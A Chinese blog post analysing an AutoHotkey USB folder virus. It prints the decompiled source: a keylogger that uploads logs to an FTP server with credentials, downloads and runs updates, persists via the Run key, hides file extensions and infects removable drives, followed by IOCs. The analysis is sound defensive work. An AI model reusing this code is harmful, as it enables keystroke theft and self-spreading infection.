当前位置: 首页 > news >正文

一例AutoHotkey语言生成的文件夹病毒分析

概述

这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。

样本的基本信息

PE32库: AutoIt(3.XX)[-]编译器: EP:Microsoft Visual C/C++(2008-2010)[EXE32]编译器: Microsoft Visual C/C++(2010)[libcmt]链接程序: Microsoft Linker(10.0)[GUI32]附加: Binary数据: AutoIt compiled script(2.XX-3.XX)
文件大小: 664 KB (680,393 字节)
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4
SHA256: 67d184ecf4b2f01fdae6a3d8574a95e63ebf89ea1f1b01dd845b520a5e2cc9fc
Link date:    22:44 2011/1/18

这是一个典型的文件夹病毒,使用了win7的文件夹图标用作掩护(如下图所示),使用AutoHotKey语言编译而成。

使用autoit3 Decompiler工具将脚本还原出来。该工具下载地址为AutoIt3 Decompiler GUI v1.9 。AutoHotkey是一款开源的热键脚本语言,可以创建各种脚本和宏来自动化计算机任务。可用用SciTE4AutoHotkey(下载地址GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手)编译器来查看这种代码(支持高亮和折叠)。

病毒分析

下面对脚本的内容进行分析。(只对关键的代码进行注释)

SetWorkingDir %A_ScriptDir% ;设置当前工作目录为脚本所在的目录。
des_path = %A_AppData%\Microsoft\Office ;设置两个变量,一个是Office的安装路径,一个是Office的版本。
version = 2000
If A_ScriptName not contains rundll32 ;如果当前脚本的名称不包含"rundll32",则执行下面的代码。这是从U盘运行的情形
{If A_ScriptName contains ums ;如果当前脚本的名称包含"ums",则执行`copy`子程序并退出程序。{gosub copyExitApp}ComObjError(false) ;关闭COM错误提示StringTrimRight, Target, A_ScriptName, 4 ;从脚本名称的右边剪切4个字符,并将结果保存到Target变量中,即去掉文件后缀名Target = %A_ScriptDir%\%Target% ;将Target变量设置为脚本目录加Target。IfNotExist, %Target% ;如果Target指定的目录不存在,则创建该目录。FileCreateDir, %Target%#IfWinActive, ahk_group MS_ExplorerShellNavigate(Target, WinExist("ahk_group MS_Explorer")) ;打开与本程序同名的目录,即被隐藏的原目录FileSetAttrib, +SH, %Target% ;将Target指定的目录设置为隐藏和系统属性。gosub install ;执行`install`子程序。ExitApp ;退出程序
};写入注册表操作,将"ShowSuperHidden"的值设置为0,隐藏受保护的操作系统文件
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0;设置FTP服务器的相关信息,包括主机名、端口、用户名和密码。
FtpHost = ftp.byethost10.com
FtpPort = 21
FtpUsername = b10_7591157
FtpPassword = un10ck;设置本地文件路径,这个文件用来记录用户的按键
localFile = %A_AppData%\Microsoft\Office\mspoint.pip
;设置FTP服务器上的目录路径,路径包含计算机名和用户名。
Dirpath = /htdocs/autohotkey/%A_ComputerName%_%A_UserName%
;获取所有可移动驱动器的列表,并将其保存在old_drive_list变量中。
DriveGet, old_drive_list, List, REMOVABLE
;监听设备变化的消息,当有设备插入或拔出时,调用WM_DEVICECHANGE函数。
OnMessage(0x219, "WM_DEVICECHANGE")Gosub check ;调用check子程序。time_c := 1000*60*30
SetTimer, check , %time_c% ;设置定时器,每隔30分钟执行一次check子程序。
oldtitle=nothing ;设置变量oldtitle的值为nothing。;这段代码可能用于键盘的监听和记录,记录用户在每个窗口中的键盘操作,保存在本地文件mspoint.pip中。
Loop
{;捕获用户的输入。如果用户输入了指定的按键(例如Enter、Esc等),那么将停止输入。Input, UserInput, V C, {enter}.{esc}{Space}{tab}{Left}{Right}{Up}{Down}{Home}{End}{BS}tvar:=ErrorlevelWinGetActiveTitle, watitle ;获取当前活动窗口的标题,并将其保存到变量watitle中;如果当前活动窗口的标题与上次记录的标题不同,且标题不为空,则执行以下操作if (watitle != oldtitle and watitle != ""){FileAppend, `n`n-------- %watitle% --------`n, %localFile% ;在本地文件mspoint.pip中记录当前窗口的标题。FormatTime, CurrentDateTime,, MM-dd-yyyy  hh:mm:ss tt ;获取当前日期和时间,并将其保存到变量CurrentDateTime中FileAppend, --------%CurrentDateTime% --------`n,%localFile% ;在本地文件中记录当前的日期和时间。oldtitle = %watitle% ;将当前窗口的标题保存到oldtitle变量中。}IfInString, tvar, EndKey: ;如果变量tvar包含"EndKey:",则执行以下操作:{StringSplit,endkey,tvar,`: ;将tvar变量的值按":"分割,将结果保存到endkey变量中。if endkey2=Enter ;如果endkey2的值为"Enter",则将用户的输入添加到本地文件mspoint.pip中FileAppend, %UserInput%`n, %localFile%else if endkey2=Space ;如果endkey2的值为"Space",则将用户的输入和一个空格添加到本地文件mspoint.pip中。FileAppend, %UserInput%%A_space%, %localFile%else if endkey2=. ;如果endkey2的值为".",则将用户的输入和一个"."添加到本地文件中。FileAppend,  %UserInput%. , %localFile%else ;对于其他情况,将用户的输入和按键添加到本地文件中。{StringLeft, endkey2, endkey2, 1FileAppend, %UserInput%[%endkey2%], %localFile%}}
}
return

check部分的功能主要是连接到FTP服务器,上传mspoint.pip文件,然后检查服务器是否有新的更新文件,如果有则下载并运行。

check: ;这段代码主要是连接到FTP服务器,上传文件,然后检查服务器是否有新的更新文件,如果有则下载并运行IfNotExist, %localFile% ;检查本地文件mspoint.pip是否存在,如果不存在则返回。returnINetStart() ;启动网络服务
hFTP := INetConnect(FtpHost, FtpPort, FtpUsername, FtpPassword, "ftp", 1) ;连接到FTP服务器
If (!hFTP)Returnif(!FtpSetCurrentDirectory(hFTP , Dirpath)) ;设置FTP服务器的当前目录
{createdir()if(!FtpSetCurrentDirectory(hFTP , Dirpath)){INetCloseHandle(hFTP)INetStop()return}
}If(upload()) ;上传mspoint.pip文件到FTP服务器
{FileGetSize, file_size, %localFile%, K ;获取本地文件的大小,如果文件大小大于200K,则删除该文件if file_size > 200Filedelete, %localFile%
};检查服务器是否有新的更新文件,如果有则下载并运行
FtpSetCurrentDirectory(hFTP , "/htdocs/update") ;FTP服务器的当前目录设置为"/htdocs/update"
if((hEnum := FtpFindFirstFile(hFTP, "ums*.exe", FTPData))) ;在FTP服务器的当前目录中查找第一个匹配"ums*.exe"的文件
{FileName := FtpGetFileInfo(FTPData, "Name") ;获取查找到的文件的信息StringMid, Outfilename, FileName, 4, 4 ;从filename第4个字符后取4个字符,应该是版本号,保存在Outfilename中oldversion := versionif(Outfilename > version) ;若ftp上的版本大于当前的版本,下载新文件并运行{update_file = /htdocs/update/%FileName%if(FtpGetFile(hFTP, update_file, "ums.exe", "B", 1, 4)) ;FTP服务器下载更新文件{run ums.exe ;运行更新文件INetCloseHandle(hFTP)INetStop()Exitapp}}
}
INetCloseHandle(hFTP)
INetStop()Return

install子程序,用于感染系统

install:
GroupAdd, MS_Explorer, ahk_class CabinetWClass
GroupAdd, MS_Explorer, ahk_class ExploreWClass;从注册表中读取指定路径下的特定值,与隐藏后缀名有关
RegRead, refresh1, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, ShowSuperHidden
RegRead, refresh2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt;若当前系统之前被感染过,读取之前病毒的版本
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion;如果读取的注册表值不符合预期,则修改这些值,并刷新资源管理器窗口,隐藏文件后缀名
if(refresh1 != 0 or refresh2 != 1)
{RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt, 1ShellNavigate("refresh", WinExist("ahk_group MS_Explorer"))
};从注册表中读取version
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion
if ErrorLevel = 1 ;如果读取注册表时发生错误,执行copygosub copy
if version > %version2% ;如果`version`大于读取到的注册表值,调用`copy`标签下的代码gosub copy
IfNotExist, %des_path%\rundll32.exe ;如果指定路径下不存在`rundll32.exe`文件,调用`copy`标签下的代码。gosub copy
Process, Exist, rundll32.exe ;检查`rundll32.exe`进程是否存在。
if ErrorLevel = 0 ;如果`rundll32.exe`进程不存在,运行指定路径下的`rundll32.exe`。run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel 
ExitApp ;结束当前脚本。
return

copy子函数用于复制自身到系统中并添加开机启动项

copy:
Process, close, rundll32.exe ;结束名为`rundll32.exe`的进程
IfNotExist, %des_path% ;如果指定的路径不存在,则创建这个路径FileCreateDir, %des_path%
sleep 1000 ;暂停脚本执行1秒(1000毫秒)
IfExist, %des_path%\rundll32.exe ;如果指定路径下已经存在名为`rundll32.exe`的文件,则删除这个文件filedelete , %des_path%\rundll32.exe;将当前运行的脚本文件复制到指定路径,并命名为`rundll32.exe`。`1`表示如果目标文件已存在,则覆盖它。
FileCopy, %A_ScriptFullPath%, %des_path%\rundll32.exe, 1
if ErrorLevel = 1return
;将复制的文件的属性设置为隐藏和系统文件。
FileSetAttrib, +SH, %des_path%\rundll32.exe;将复制的文件路径写入到Windows的注册表,使其在每次启动系统时自动运行,并写入一个指定的版本号
RegWrite, REG_SZ, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %des_path%\rundll32.exe
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion, %version%sleep 1000;运行复制的文件,并将窗口隐藏
run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel
ExitApp
return

感染可移动存储介质

WM_DEVICECHANGE() ;当设备发生改变时,例如新接入或移除设备,这个函数将被调用
{global old_drive_list ;声明一个全局变量,用于存储上一次检测到的设备列表give_up := A_TickCount + 2500 ;设置一个超时时间,如果在2500毫秒内没有检测到新的设备,将会跳出循环Loop{DriveGet, new_drive_list, List, REMOVABLE ;获取所有可移动设备的列表if (old_drive_list != new_drive_list) ;如果新获取的设备列表与旧的设备列表不同,说明有新设备接入或旧设备移除,跳出循环。Breakif (A_TickCount > give_up) ;如果当前时间超过了设置的超时时间,也跳出循环Break}new_drive := "" ;初始化新设备的变量if StrLen(new_drive_list) > StrLen(old_drive_list) ;如果新设备列表的长度大于旧设备列表的长度,说明有新设备接入。{Loop, Parse, new_drive_list ;遍历新设备列表IfNotInString, old_drive_list, %A_LoopField% ;如果旧设备列表中不包含当前设备,说明这是新接入的设备。{new_drive := A_LoopField ;将新接入的设备赋值给`new_drive`Break}process_new_drive(new_drive . ":") ;对新接入的设备进行处理,具体的处理方式由`process_new_drive`函数定义。}old_drive_list := new_drive_list ;更新设备列表Return
};这段代码的主要功能是将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并隐藏原文件或文件夹,显示复制的`.exe`文件。这样,当用户打开设备并点击文件或文件夹时,实际上运行的是复制的脚本文件。这是一种常见的病毒传播方式
process_new_drive(drive)
{;这是一个循环,用于遍历新接入设备中的所有文件和文件夹。`%drive%\*.*`表示设备中的所有文件和文件夹,`2`表示包括子文件夹Loop, %drive%\*.* , 2 {;将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并将复制的文件命名为原文件或文件夹的名称加上`.exe`后缀。`1`表示如果目标文件已存在,则覆盖它。FileCopy, %A_ScriptFullPath%, %drive%\%A_LoopFileName%.exe ,1;将当前文件或文件夹的属性设置为隐藏和系统文件,`+SH`表示设置隐藏(Hidden)和系统(System)属性FileSetAttrib, +SH, %A_LoopFileLongPath%;将复制的`.exe`文件的属性设置为非隐藏和非系统文件,`-SH`表示移除隐藏(Hidden)和系统(System)属性。FileSetAttrib, -SH, %drive%\%A_LoopFileName%.exe}
}

这个样本的基本功能比较简单,记录当前系统中窗口名称和用户按键保存在%AppData%\Microsoft\Office\mspoint.pip文件中,上传到ftp服务器上(ftp.byethost10.com),并从服务器上下载新的版本运行(落地为ums.exe)。

通过可移动存储介质传播,遍历U盘中的文件和目录,隐藏原文件和目录,将自身复制为同名的.exe文件,诱导用户点击。感染系统后,将自身复制到%AppData%\Microsoft\Office\rundll32.exe,并在注册表中添加开机启动项,并修改主机配置,隐藏文件后缀名。

这是文件夹病毒的通常操作。

ioc

hash
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4文件
%AppData%\Microsoft\Office\rundll32.exe 病毒母体
%AppData%\Microsoft\Office\mspoint.pip 保存键盘记录
%AppData%\Microsoft\Office\ums.exe 更新文件
U盘中与文件和目录同名的.exe文件,使用win7的文件夹图标网络
ftp.byethost10.com ftp服务器注册表
这两项用于隐藏文件后缀名
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden=0
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt=1这是病毒的版本
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion开机启动项
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %AppData%\Microsoft\Office\rundll32.exe

参考资料

  • AutoHotkey用法教程(Chinar强烈推荐学习)_autohotkey中文手册-CSDN博客

  • AutoHotkey (sourceforge.net)

  • GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手

相关文章:

一例AutoHotkey语言生成的文件夹病毒分析

概述 这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。 样本的基本信息 PE32库: AutoIt(3.XX)[-]编译…...

【机器学习第7章——贝叶斯分类器】

机器学习第7章——贝叶斯分类器 7.贝叶斯分类器7.1贝叶斯决策论7.2 朴素贝叶斯分类器条件概率的m估计 7.3 极大似然估计优点基本原理 7.4 贝叶斯网络7.5 半朴素贝叶斯分类器7.6 EM算法7.7 EM算法实现 7.贝叶斯分类器 7.1贝叶斯决策论 一个医疗判断问题 有两个可选的假设&#…...

C++ QT开发 学习笔记(3)

C QT开发 学习笔记(3) - WPS项目 标准对话框 对话框类说明静态函数函数说明QFileDialog文件对话框getOpenFileName()选择打开一个文件getOpenFileNames()选择打开多个文件getSaveFileName()选择保存一个文件getExistingDirectory()选择一个己有的目录getOpenFileUrl()选择打幵…...

【Python实战】如何优雅地实现文字 二维码检测?

前几篇,和大家分享了如何通过 Python 和相关库,自动化处理 PDF 文档,提高办公效率。 【Python实战】自动化处理 PDF 文档,完美实现 WPS 会员功能【Python实战】如何优雅地实现 PDF 去水印?【Python实战】一键生成 PDF…...

行为型设计模式3:模板方法/备忘录/解释器/迭代器

设计模式:模板方法/备忘录/解释器/迭代器 (qq.com)...

思源笔记软件的优缺点分析

在过去一年里,我用了很多款笔记,从word文档到onenote到语雀再到思源,最后坚定的选择了思源笔记 使用感受 首先是用word文档来记笔记,主要是开始时不知道笔记软件怎么好用,等到笔记越来越膨胀的时候我发现&#xff0c…...

追问试面试系列:Dubbo

欢迎来到Dubbo系列,在面试中被问到Dubbo相关的问题时,大部分都是简历上写了Dubbo,或者面试官想尝试问问你对Dubbo是否了解。 本系列主要是针对面试官通过一个点就使劲儿往下问的情况。 面试官:说说你们项目亮点 好的面试官 我们这个项目的技术亮点在于采用了Spring Cloud…...

动手学深度学习V2每日笔记(卷积层)

本文主要参考沐神的视频教程 https://www.bilibili.com/video/BV1L64y1m7Nh/p2&spm_id_from333.1007.top_right_bar_window_history.content.click&vd_sourcec7bfc6ce0ea0cbe43aa288ba2713e56d 文档教程 https://zh-v2.d2l.ai/ 本文的主要内容对沐神提供的代码中个人不…...

qcom ucsi probe

ucsi glink 注册一个ucsi 设备,和pmic glink进行通信,ucsi作为pmic glink的一个client。 lkml的patch https://lkml.org/lkml/2023/1/30/233 dtsi中一般会定义 qcom,ucsi-glink 信息,用于和驱动进行匹配 static const struct of_device_id …...

flask和redis配合

对于涉及数据提交的场景,比如更新用户信息,你可能会使用POST或PUT请求。但是,这些操作通常与直接从Redis缓存中检索数据不同,因为它们可能涉及到对后端数据库或其他存储系统的修改。并且可能需要将更新后的数据同步回Redis缓存&am…...

深度学习中的早停法

早停法(Early Stopping)是一种用于防止模型过拟合的技术,在训练过程中监视验证集(或者测试集)上的损失值。具体设立早停的限制包括两个主要参数: Patience(耐心):这是指验…...

科普文:JUC系列之多线程门闩同步器CountDownLatch的使用和源码

CountDownLatch类位于java.util.concurrent包下,利用它可以实现类似计数器的功能。比如有一个任务A,它要等待其他10个线程的任务执行完毕之后才能执行,此时就可以利用CountDownLatch来实现这种功能了。 CountDownLatch是通过一个计数器来实现…...

foreach循环和for循环在PHP中各有什么优势

在PHP中,foreach循环和for循环都是用来遍历数组的常用结构,但它们各有其优势和使用场景。 foreach循环的优势 简化代码:foreach循环提供了一种更简洁的方式来遍历数组,不需要手动控制索引或指针。易于阅读:对于简单的…...

巧用casaos共享挂载自己的外接硬盘为局域网共享

最近入手了个魔改机顶盒,已经刷好了的armbian,虽然是原生的,但是我觉得挺强大的,内置了很多 常用的docker和应用,只需要armbian-software 安装就行,缺点就是emmc太小了。 买到之后第一时间装上了casaos和1p…...

标题:解码“八股文”:助力、阻力,还是空谈?

标题:解码“八股文”:助力、阻力,还是空谈? 在程序员的面试与职场发展中,“八股文”一直是一个备受争议的话题。它既是求职者展示自己技术功底的途径,也是一些公司筛选人才的标准之一。但“八股文”在实际…...

语言无界,沟通无限:2024年好用在线翻译工具推荐

随着技术的发展现在的翻译在线工具从基础词句翻译到复杂的文章翻译都不在话下。为了防止你被五花八门的工具挑花眼,我给你介绍几款我用过的便捷、高效、准确的翻译工具吧。 1.福晰翻译端 链接直通:https://www.foxitsoftware.cn/fanyi/ 这个软件支持…...

【Golang 面试 - 进阶题】每日 3 题(十八)

✍个人博客:Pandaconda-CSDN博客 📣专栏地址:http://t.csdnimg.cn/UWz06 📚专栏简介:在这个专栏中,我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话,欢迎点赞👍收藏…...

二分+dp,CF 1993D - Med-imize

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 D - Med-imize 二、解题报告 1、思路分析 对于n < k的情况直接排序就行 对于n > k的情况 最终的序列长度一定是 (n - 1) % k 1 这个序列是原数组的一个子序列 对于该序列的第一个元素&#xff0…...

三十种未授权访问漏洞复现 合集( 三)

未授权访问漏洞介绍 未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷&#xff0c;导致其他用户可以直接访问&#xff0c;从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。---->目录遍历 目前主要存在未授权访问漏洞的有:NFS服务&a…...

数据湖和数据仓库核心概念与对比

随着近几年数据湖概念的兴起&#xff0c;业界对于数据仓库和数据湖的对比甚至争论就一直不断。有人说数据湖是下一代大数据平台&#xff0c;各大云厂商也在纷纷的提出自己的数据湖解决方案&#xff0c;一些云数仓产品也增加了和数据湖联动的特性。但是数据仓库和数据湖的区别到…...

探索WebKit的奥秘:打造高效、兼容的现代网页应用

1. 简介 1.1. 主要特点 WebKit 是一个开源的浏览器引擎,它允许开发者构建高性能、功能丰富的 web 应用程序。WebKit 与 Mozilla Firefox 等使用的 Gecko 引擎、Internet Explorer 使用的 Trident 引擎以及 EdgeHTML 引擎共同构成了现代 web 浏览器的核心技术。 1.2. 学习资…...

【leetcode】平衡二叉树、对称二叉树、二叉树的层序遍历(广度优先遍历)(详解)

Hi~&#xff01;这里是奋斗的明志&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f331;&#x1f331;个人主页&#xff1a;奋斗的明志 &#x1f331;&#x1f331;所属专栏&#xff1a;数据结构、LeetCode专栏 &#x1f4da;本系…...

最短路径算法:Floyd-Warshall算法

引言 在图论中&#xff0c;Floyd-Warshall算法是一种用于计算任意两点之间最短路径的动态规划算法。它适用于加权有向图和无向图&#xff0c;可以处理带有负权重边的图&#xff0c;但要求图中不能有负权重环。本文将详细介绍Floyd-Warshall算法的定义、步骤及其实现。 Floyd-…...

3DM游戏运行库合集离线安装包2024最新版

3DM游戏运行库合集离线安装包是一款由国内最大的游戏玩家论坛社区3DM推出的集成式游戏运行库合集软件&#xff0c;旨在解决玩家在玩游戏时遇到的运行库缺失或错误问题。该软件包含多种常用的系统运行库组件&#xff0c;支持32位和64位操作系统&#xff0c;能够自动识别系统版本…...

【Bigdata】什么是混合型联机分析处理

这是我父亲 日记里的文字 这是他的生命 留下留下来的散文诗 几十年后 我看着泪流不止 可我的父亲已经 老得像一个影子 &#x1f3b5; 许飞《父亲写的散文诗》 混合型联机分析处理&#xff08;Hybrid OLAP&#xff0c;简称 HOLAP&#xff09;是一种结合了多…...

Java 并发编程:volatile 关键字介绍与使用

大家好&#xff0c;我是栗筝i&#xff0c;这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 026 篇文章&#xff0c;在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验&#xff0c;并希望进…...

【Spark计算引擎----第三篇(RDD)---《深入理解 RDD:依赖、Spark 流程、Shuffle 与缓存》】

前言&#xff1a; &#x1f49e;&#x1f49e;大家好&#xff0c;我是书生♡&#xff0c;本阶段和大家一起分享和探索大数据技术Spark—RDD&#xff0c;本篇文章主要讲述了&#xff1a;RDD的依赖、Spark 流程、Shuffle 与缓存等等。欢迎大家一起探索讨论&#xff01;&#xff0…...

四、日志收集loki+ promtail+grafana

一、简介 Loki是受Prometheus启发由Grafana Labs团队开源的水平可扩展&#xff0c;高度可用的多租户日志聚合系统。 开发语言: Google Go。它的设计具有很高的成本效益&#xff0c;并且易于操作。使用标签来作为索引&#xff0c;而不是对全文进行检索&#xff0c;也就是说&…...

xdma的linux驱动编译给arm使用(中断检测-测试程序)

1、驱动链接 XDMA驱动源码官网下载地址为&#xff1a;https://github.com/Xilinx/dma_ip_drivers 下载最新版本的XDMA驱动源码&#xff0c;即master版本&#xff0c;否则其驱动用不了&#xff08;xdma ip核版本为4.1&#xff09;。 2、驱动 此部分来源于博客&#xff1a;xd…...

探索之路——初识 Vue Router:构建单页面应用的完整指南

目录 1. Vue Router 简介 2. 安装与配置 Vue Router 安装步骤 配置路由 3. 在 Vue 应用中使用路由 4. 进阶使用 路由守卫 懒加载 高级路由技术 嵌套路由 动态路由匹配 编程式的路由导航 路由懒加载 路由元信息 在现代前端开发中,单页面应用(SPA)因其出…...